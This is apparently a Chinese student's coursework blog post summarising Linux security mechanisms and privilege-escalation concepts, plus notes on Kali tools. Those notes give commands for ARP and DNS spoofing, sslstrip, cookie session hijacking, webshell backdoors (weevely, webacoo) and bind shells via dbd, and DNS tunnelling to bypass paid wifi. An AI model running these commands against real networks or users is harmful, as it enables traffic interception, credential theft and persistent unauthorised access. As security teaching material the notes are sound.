20189315《网络攻防实践》第八周作业

a、教材内容学习

1、Linux操作系统基本框架

在统一内核代码库的基础上,Linux开源社区根据不同用户群体的需求,也发展出数量众多的操作系统发行版,流行的包括Ubuntu、Debian、Fedora、CentOS、RHEL、OpenSUSE和Slackware等。Linux操作系统之所以会成为目前最受关注的系统之一,主要原因是它的开放源代码与免费。
一套基于Linux内核的完整操作系统叫做Linux操作系统,Linux操作系统的结构包括Linux内核,一些GUN运行库和工具,命令行Shell,图形界面X窗口系统及相应桌面环境,并包含数千种从办公包、编译器、文本编辑器、科学工具到网络服务的应用软件。

2、Linux操作系统安全机制

Linux操作系统的核心安全机制也主要是身份认证、授权与访问控制、安全审计这三部分。
在Linux系统中以用户作为执行进程完成特定操作任务的主体:Root根用户,普通用户,系统用户。Linux用户信息保存在系统的/etc/password文件中,具体包括用户名、每个用户唯一的uid、使用Shell类型、用户初始目录等,而加密口令字则存放于/etc/shadow文件中,只对Root可读。
Linux系统最基本的用户认证机制即是对用户在控制台登录的认证过程,登录login进程通过Crypt()函数来对用户输入的口令进行验证。
Linux通过VFS虚拟文件系统来实现对不同类别文件系统格式的支持,并同时通过设备文件类型来统一集成对其他类型系统资源的管理。所有文件与设备资源的访问控制都通过VFS虚拟文件系统来实现。在Linux的虚拟文件系统安全模型中,主要通过文件所有者、文件访问权限和一些特殊权限位来进行系统的授权与访问控制。文件的所有者可以通过chown命令进行修改。文件的访问权限通过所附带的10个标志位来进行设置。每个用户的专属初始目录的默认权限为rwx------。特权常见的是SUID与SGID权限。
Linux的安全审计机制主要通过三个主要的日志子系统来实现,①连接时间日志②进程统计日志③错误日志记录。Linux系统事件日志在文件系统中的存储路径集中在/var/log目录。除了这些事件日志之外,Linux内核还集成了审计守护进程。

3、Linux系统远程攻防技术

远程网络上入侵Linux系统的主要方法有:①对Linux系统各种网络服务的身份认证过程所涉及的用户口令字进行猜测攻击②发掘Linux系统某个监听网络服务的安全漏洞并进行利用,从而为攻击者提供本地Shell的访问权③通过网页木马、发送欺诈邮件、提供特洛伊木马程序等技术和社会工程学手段④在Linux系统作为连接多个网络的路由器,或者打开“混杂模式”实施网络嗅探的监听器时,可能遭受攻击者特意构造的数据包攻击,从而被攻击者取得访问权。

4、Linux系统本地安全攻防技术

尽管通过远程渗透以特权账户权限运行的服务进程可能直接获得Root权限,但大多数情况下攻击者通常先获取到的是受限的服务账号权限,他们还需要把获得的用户权限提升到Root,才能够完全控制所攻陷的Linux系统。这一过程就是所谓的本地特权提升攻击。
Linux本地特权提升:需要Root权限配置与管理系统时,通过su或者sudo命令提升至Root用户帐户。攻击者在得到本地受限用户访问权之后,最简单的特权提升途径就是能够破解出Root用户的口令,然后执行su或者sudo命令进行提升。读取口令字密文文件/etc/shadow本身就需要攻击者具有Root特权。通过利用一些以Root特权运行服务中存在的文件任意读/写漏洞,攻击者还是可以先获取到/ect/shadow文件,然后通过破解口令字将自身权限提升至Root特权用户。第二种特权提升途径是发掘并利用su或者sudo程序中的安全漏洞。攻击者在Linux系统上进行本地特权提升目前最为流行的途径是直接攻击那些具有Root特权程序中的任意代码执行漏洞,让它们替攻击者打开具有Root权限的Shell命令行连接。根据受攻击目标程序的类型,这类途径又分为攻击用户态SUID特权提升漏洞以及攻击Linux内核代码特权提升漏洞。在用户态被设置了SUID位的网络服务与程序,可以在运行过程中提升至文件拥有的权限,来执行一些系统资源相关的操作。最后一种本地特权提升技术则利用了系统中的一些配置不当,通过从系统中搜索全局可写的敏感文件与目录位置并加以利用,仅拥有首先用户权限的攻击者可能让操作系统或特权程序执行一些他们所预期的操作,从而获得特权提升的机会。

kali视频学习

Kali漏洞利用之SET

Social Enginnering Toolkit(SET)是一个开源、Python驱动的社会工程学渗透测试工具,提供了非常丰富的攻击向量库。是开源的社会工程学套件,通常结合metasploit来使用。

菜单选项1是社会工程学攻击,2是Fast-Track渗透测试,3是第三方模块。
输入1回车,有11个模块

1.鱼叉式钓鱼攻击
2.网站攻击
3.介质感染攻击
4.创建Payload并监听
5.群发邮件攻击
6.基于Arduino的攻击
7.短信欺骗攻击
8.无线接入点攻击
9.二维码攻击
10.powershell攻击
11.第三方模块

继续选择1 鱼叉式钓鱼攻击

继续选择2 网站攻击框架。

此时开放一个webServer服务,如果对方访问此页面,若系统存在漏洞触发条件,则会被植入后门。如Java Applet Attack 方法就需要目标有Java运行环境。为了仿真,可以选择自建模版或克隆一个网站。

选择3:介质感染攻击

选择4:创建Payload和监听器

选择5:群发邮件攻击(支持导入列表并向列表中的每个人发送邮件)

选择8:无线接入点攻击

Kali嗅探欺骗与中间人攻击

Linux下的中间人攻击套路是一样的,这里介绍进行ARP欺骗、DNS欺骗和嗅探以及会话劫持的方法。
1、为Kali设置开启端口转发

echo 1 > /proc/sys/net/ipv4/ip_forward
cat /proc/sys/net/ipv4/ip_forward

2、设置ssltrip
为了劫持SSL数据,需要https数据变为http:

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8081

让sslrtip在8081端口监听:

sslstrip -l 8081

3、ettercap的准备
ettercap是一套用于中间人攻击的工具。和dsniff套件齐名。支持插件和过滤脚本,直接将账号、密码显示出来,不用人工提取数据。如果是第一次中间人攻击操作,那么要对kali下的etteracp做点配置。
配置文件是/etc/ettercap/etter.conf,首先要将ec_uid、ec_gid都变为0

找到linux分类下的if you use iptables这一行,将注释(“#”号)去掉,打开转发。

打开图形界面:ettercap -G

选择嗅探网卡 默认eth0

4、ettercap使用
打开ettercap,选择sniff选项-unified sniffing-选择网卡-hosts选项:先scan for hosts,等扫描完了选host list。

5、Dsniff套装介绍
Dsniff套装主要是arpspoof和dsniff,前者用来进行arp欺骗,后者用于嗅探。进行攻击步骤如下:
进行arp欺骗:
arpspoof [-i interface(网卡)] [-c own|host|both(欺骗方式,通常是both)] [-t target(目标)] [-r] host(网关)
进行嗅探:
dsniff [-cdmn] [-i interface | -p pcapfile] [-s snaplen] [-f services] [-t trigger[,...]] [-r|-w savefile] [expression]
-c打开半双工TCP流,允许在使用arpspoof时进行正确的嗅探操作;
-d启动调试模式;
-f以/etc/service格式从文件中加载触发器(也就是口令嗅探的服务类型);
-I使用特定的网络接口;
-m使用dsniff.magic文件通过在magic文件中定义的特征尝试自动判断协议;
-n不执行主机查找;
-r从前面保存的会话中读取被嗅探的数据;
-s最多对报文的前个字节进行嗅探,如果用户名和口令信息包含在随后的默认1024字节界限中;
-t使用格式port/proto=servise;来加载一个以逗号界定的触发器集;

6、会话劫持
以cookies进行举例,说明会话劫持的用法:
开始arp欺骗;
arpspoof -i wlan0 -t 192.168.1.1 192.168.1.102
捕获数据报:
tcpdump -i wlan -w test.cap
等一段时间,估计目标会登录网站了,我们开始处理捕获的数据包:
forret -r test.cap
如果捕获的数据包没什么问题,而且确定开启了端口转发,那么经过处理的数据包会自动生成hamster.txt
接下来运行hamster hamster,会提示浏览器设置代理为http://127.0.0.1:1234
接着在浏览器中代开hamster:http://hamster
选择目标和可能的登录认证地址,然后点击链接会发现劫持成功。

7、图片截获
利用Driftnet这款工具我们可以看到受害人在访问网站的图片。
首先依然使用arpspoof启动arp欺骗,然后启动driftnet:
driftent -i
此时弹出一个小窗口,当目标访问有图片的网站的时候,攻击者就能在这个小窗口看到。

8、DNS欺骗
利用Dsniff套装中的dnsspoof或者ettercap的dnsspoof插件,我们可以完成对受害者的dns欺骗。在开始欺骗前,首先我们要编辑一个自己的hosts文件,放在方便访问的地方。内容和本机自带的hosts内容差不多,只是把你想欺骗的域名和想要欺骗到哪里的地址写好(通常是攻击者指定的服务器,用来执行浏览器溢出或者java applet攻击,用来获取受害者的计算机访问权限)
host文件:127.0.0.1 www.baidu.com
上面是一个hosts文件示例,把百度定向到了本机。我们把它保存成hosts,位于/root目录下。
然后启动dnsspoof:dnsspoof -i wlan0 -f /root/hosts
等受害者访问百度观察效果。

9、URL监控
利用Dsniff套装中的urlsnarf工具,我们对TCP80、3128、8080端口的HTTP通信进行解析,并且可以将嗅探到的所有HTTP请求转存为通用日志格式(Common Log Format,CLF),这种格式是许多Web服务器所使用的,例如IIS和Apache,事后可以很方便的使用一些日志分析工具来分析记录结果。
Usage:urlsnarf [-n] [-i interface | -p pcapfile] [[-v] pattern [expression]]
10、下载软件监控
利用Dsniff套装中的filesnarf工具,我们可以从嗅探到的NFS通信中,选定某个文件,转存到本地当前工作目录。
Ussage:filesnarf [-i interface | -p pcapfile] [[-v] pattern [expression]]

权限维持之后门

权限维持包含Tunnel工具集、Web后门、系统后门三个子类。其中系统后门与Web后门统称为后门,都是为渗透测试后,为方便再次进入系统而留下的恶意程序。
1、Weevely
Weevely是一款使用pythoon编写的webshell工具(集webshell生成和连接于一身,仅限于安全学习教学之用,禁止非法用途),可以算作是linux下的一款菜刀替代工具(限于php),某些模块在win上无法使用。

生成一个php后门,test为密码,在本地生成~/1.php

2、WeBaCoo(Web Backdoor Cookie)script-kit是一个小巧的、隐蔽的php后门,它提供了一个可以连接远程web服务器并执行php代码的终端。WebaCoo使用HTTP响应头传送命令结果,shell命令经base64编码后隐藏在Cookie中。
生成一个webshell:
上传到网站后,使用webacoo连接:
webacoo -t -u http://192.168.75.132/2.php
通过加入:执行本地命令,不加则借助webshell执行命令。
3、Cymothoa系统后门
cymothoa -跑10500 -s -0 -y 2333 (注入2333端口),如果成功,可以连接2333端口返回一个shell
4、dbd理解为加密版的nc
监听端:dbd -l -p 2333 -e /bin/bash -k password
攻击端:dbd 127.0.0.1 2333 -k password
5、sbd和dbd用法相同
6、U3-Pwn
与Metasploit Payload结合使用的工具,菜单可以单刀多针对移动光驱设备如光驱镜像,u盘等。
7、Intersect
列出可以使用的模块
创建脚本
自由添加功能组件,生成一个shell
将生成的py文件拖出
mv /usr/share/intersect/Scripts/shell.py ~/1.py
执行后门,在目标机上执行 1.py -b,则生成一个bind shell后门,如果之前设置好remote host和remote port,也可以设置为reverse shell
此时连接后门端口成功,返回shell。

Kali权限维持之Tunnel

1、CryptCat
Netcat有网络工具中的瑞士军刀之称,但是它本身建立的隧道是不加密的,于是有了cryptcat。与dbd/sbd使用也类似。
2、DNS2TCP
DNS tunnel即DNS通道。从名字上看就是利用DNS查询过程建立起隧道,传输数据。
在酒店等公共场所,通常有wifi信号,但当访问第一个网站时,可能会弹出窗口,需要输入用户名密码,登陆后才可以继续上网(该技术一般为透明http代理)。但有时会发现获取到的dns地址是有效的,并且可以进行dns查询,这时可以使用DNS tunnel技术来实现免费上网。
DNS tunnel原理
通过特定服务器,让局域网内的DNS服务器为我们实现数据转发。DNS tunnel实现的工具有很多,比如:OzymanDNS, tcp-over-dns, heyoks, iodine, dns2tcp
3、Iodine
4、Miredo
Miredo是一个网络工具,主要用于BSD和Linux的IPV6 Teredo隧道转换,可以转换不支持IPV6的网络连接IPV6,内核中需要有IPV6和TUN隧道支持。
5、Proxychains
内网渗透测试经常会用到一款工具,如我们使用Meterpreter开设一个Socks4a代理服务,通过修改/etc/prosychains.conf配置文件,加入代理,即可使其他工具如sqlmap、namp直接使用代理扫描内网。
如proxychains namp -sT -Pn 10.0.0.1/24

6、Proxytunnel
Proxytunnel可以通过标准的Https代理来连接远程服务器,这是一个代理,实现了桥接的功能。特别用于通过SSH进行Http(s)传输
Prosytunnel可用于:使用http(s)代理(http connect 命令)创建通讯通道,为OpwnSSH写一个客户端驱动,并创建基于SSH连接的http(s)代理,作为一个独立的应用,可以连接到远程服务器。
7、Ptunnel:借助ICMP数据包建立隧道通信
8、Pwant:内网下通过UDP通信
9、Socat:可以在不同协议上进行转发数据
10、sslh:一个ssl/ssh端口复用工具,sslh可以在同一个端口上接受https,ssh和openvpn连接。这使得通过443端口连接ssh服务器或者openvpn服务器同时在该端口上提供https服务成为可能。sslh可以作为一个研究端口复用的例子。

Kali逆向工程工具

逆向工程是根据已有的东西和结果,通过分析来推导具体的实现方法。比如看到别人的某个exe程序能够做出某种漂亮的动画效果,可以通过反汇编、反编译和动态跟踪等方法,分析出其动画效果的实现过程,这种行为就是逆向工程;不仅仅是反编译,而且还要推倒出设计,并且文档化,逆向软件工程的目的是使软件得以维护。
1、Edb-Debugger
EDB(Evan's Debugger)是一个基于Qt4开发的二进制调试工具,主要是为了跟OllyDbg工具看齐,通过插件体系可以进行功能的扩充,当前只支持Linux。

2、Ollydbg:经典的Ring3级调试器,是一个动态调试工具,将IDA与SoftICE结合起来的思想。在Kali下是Wine方式运行的Ollydbg。

3、jad

4、Redare2
5、Recstudio2
6、Apktool
APKTool是GOOGLE提供的APK编译工具,能够反编译及回编译apk,同时安装反编译系统apk所需要的framework-res框架。
7、Clang、Clang++
Clang是一个C语言、C++、Objective C++语言的轻量级编译器。
8、D2j-dex2jar
范便于idex文件到jar文件,进而可以用其他工具查看源代码。
9、Flasm
主要功能是用于直接修改swf文件里的脚本actionscript。
swf转fla文件的软件不能确保100%还原,如果只是修改as脚本代码,flasm是最佳的选择,因为他只修改脚本,资源数据不做修改。目前flasm支持破解flash8和低于flash8格式的swf文件。
10、Javasnoop

posted on 2019-04-21 17:54  20189315赵晨曦  阅读(167)  评论(0编辑  收藏

导航